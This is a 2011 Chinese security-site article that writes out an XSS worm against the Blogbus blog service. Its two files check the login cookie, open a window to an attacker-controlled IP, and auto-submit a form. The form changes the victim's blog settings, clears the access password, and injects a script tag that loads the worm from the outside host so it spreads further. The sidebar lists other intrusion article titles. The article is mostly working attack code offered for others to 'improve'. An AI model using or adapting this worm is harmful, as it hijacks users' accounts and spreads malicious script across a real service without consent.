首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
Blogbus XSS利用——XSS Worm
来源:hi.baidu.com/lu4nx 作者:乱雪 发布时间:2011-05-30  

作者:乱雪

主页:hi.baidu.com/lu4nx

老规矩:1、本文乃免费撰写,不提供任何技术支持,欢迎讨论;2、转载请保留文本的完整性;3、任何对作者辱骂行为,请电邮联系lx@shellcodes.org;4、关于XSS Worm详细的paper等我心情好了再公布。

 

在09年的时候,我发现了Blogbus的两处跨站漏洞。一处是在友情链接处,当时和零魂一起写出了利用代码;另外一处在自定义header处,网上早已经被公布了。当时我还联系了他们的开发团队,但他们一直未修复。我在想,可能因为开发团队认为造成跨站的必要条件是需要登录后台,危害不大吧。但是倘若登录后台的用户是一名attacker,就可以利用该XSS构造XSS Worm。

这份XSS Worm代码是我花了两天时间写的,其实代码很简单,但是在编写中,遇到棘手的是XMLHttpRequest无法跨域POST提交信息。我一直卡在那里研究如何跨域,试过很多办法,但始终不行,IE下跨域真恼火,当时还试了微软提供的XDomainRequest,依旧没实现。后来在吃饭时,想到一个办法,用HTML。HTML的POST提交是可以跨域的,那么我的思路就是用HTML来提交。

多的不说了,为了防止滥用,造成不必要的麻烦,代码也有所保留,对浏览器以及浏览器的安全设置比较苛刻,欢迎各位大牛继续改造。

此份XSS Worm的大致流程如下:

判断用户是否登陆,如果登陆,则用window.open打开一个HTML页面,当该HTML页面中发生鼠标单击事件时(保留,免得被滥用,大牛可以修改成其他的),则自动POST提交信息来修改浏览用户。

关于XSS Worm,过几天我会撰写paper详谈。

 

首先看触发漏洞的地方:

 

需要两个文件,xss.js是主要代码,创建XMLHttpRequest以及用来判断用户是否登陆,xss.htm是用来自动POST提交的。

 

xss.js代码如下:

var xmlHttp = null;

function callback()
{
 if ( xmlHttp.readyState == 4 )
        {
           if ( xmlHttp.status == 200 )
           {
            //alert(xmlHttp.responseText);
           } else
           {
             //alert(xmlHttp.status);
                //alert(xmlHttp.statusText);
           }
        } //alert (xmlHttp.readyState);
}

var blogbus_cookie = document.cookie; //得到Cookie

//创建XMLHttpRequest
if ( window.ActiveXObject )
 xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
else if ( window.XMLHttpRequest )
 xmlHttp = new XMLHttpRequest();

//直接在Cookie值里搜索“bus_uid”,找到则证明是登陆了的
//判断是否登陆
//如果登陆了,就全屏弹出一个窗口
if ( blogbus_cookie.indexOf("bus_uid=") != -1 )
{
    var height = window.screen.availHeight;
    var width = window.screen.availWidth;

    window.opener = null;
 //下面设置弹出页面的地址
    window.open("http://192.168.127.135/xss.htm","_blank", "height=" + height + ",width=" + width +",top=0,left=0,toolbar=no,menubar=no,scrollbars=yes,resizable=yes,location=no,status=no");

}else
    //alert("no login");

 

===============================================================================

xss.htm代码如下:

<html>
<title>Xss Test</title>
<script language="javascript">
function xss()
{
//自动提交表单内容
document.form1.name.value = "xss test";          //博客名称
document.form1.description.value = "xss test";  //博客简介
document.form1.accessPwd.value="";   //访问密码,为空
document.form1.meta.value="<script src=http:\/\/192.168.127.135\/xss.js><\/script>"; //恶意代码
document.form1.submit();
}
</script>
<body Onclick=xss();>

<form name=form1 action=http://blog.home.blogbus.com/settings/basic  method=post>
<table>
<tr><td><input type=hidden name=name></td></tr>
<tr><td><textarea name=description style="border:none; overflow-y:hidden"></textarea></td></tr>
<tr><td><input type=hidden name=accessPwd></td></tr>
<tr><td><textarea name=meta style="border:none; overflow-y:hidden" ></textarea></td></tr>
<tr><td><input type=hidden value=PUT name=REQUEST_METHOD><tr><td>
</table>
</form>
</body>
</html>



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·伪静态注入中转
·用IIS6.0的文件解析缺陷留后门
·Discuz! NT 后台拿webshell
·()括号代替空格继续注入
·sqlinjection下的新型注入&绕过
·Mysql跨库入侵介绍
·入侵纽约大学过程
·Firefox攻击技巧总结
·特殊的php上传漏洞再到获取linux
·渗透路路破解通关游戏服务器(图
·linux不提权跨目录访问的代码
·1433终极入侵之沙盒模式
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved